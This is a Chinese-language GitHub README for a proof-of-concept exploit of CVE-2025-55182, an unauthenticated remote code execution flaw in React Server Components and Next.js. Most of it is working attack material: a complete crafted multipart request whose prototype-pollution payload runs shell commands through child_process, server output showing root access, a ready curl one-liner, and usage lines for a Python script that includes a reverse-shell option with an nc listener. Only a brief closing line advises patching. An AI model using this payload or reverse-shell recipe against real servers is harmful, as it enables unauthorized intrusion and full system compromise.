0xblackash/cve-2025-55182针对CVE-2025-55182的概念验证漏洞利用：通过不安全反序列化在React Server Components中实现未认证RCE，可在易受攻击的RSC/Next.js端点上执行任意命令和反弹shell。
CVE-2025-55182 是一个影响 React Server Components (RSC) 的严重远程代码执行 (RCE) 漏洞。
此漏洞允许未经身份验证的攻击者在易受攻击的服务器上执行任意代码。
问题源于 React Server Component 服务器函数端点的不安全反序列化。 验证不当导致特制请求能够执行恶意负载。
由于基于 React 的框架广泛部署，攻击面极大。
受影响版本包括：
react-server-dom-webpack 19.0.0 – 19.2.0
react-server-dom-parcel 19.0.0 – 19.2.0
react-server-dom-turbopack 19.0.0 – 19.2.0
构建在这些软件包之上的框架（例如，使用受影响版本的 Next.js 应用）也可能受到影响。
该缺陷由以下原因造成：
这使攻击者能够构造在服务器上执行的恶意负载。
查找以下迹象：
| 类别 | 值 |
|---|---|
| 漏洞 | 远程代码执行 |
| 是否需要认证 | ❌ 否 |
| 攻击向量 | 🌐 网络 |
| 严重性 | 🔴 严重 |
| 是否已被野外利用 | ⚠️ 是 |
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
将返回：
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195
0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}
┌──(kali㉿kali)-[~/Downloads]
└─$ curl -i -X POST http://10.48.133.212:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-H "Next-Action: x" \
-H "Next-Router-State-Tree: b5dce965" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'<COMMAND>\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--'
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Sat, 28 Feb 2026 10:19:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"}
1:E{"digest":"287088506"}
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami"
ubuntu（或类似结果）。sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id"
对于反向 Shell：
nc -lvnp 4444sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444如果你的应用使用了 React Server Components，请立即修补。 延迟会显著增加暴露风险。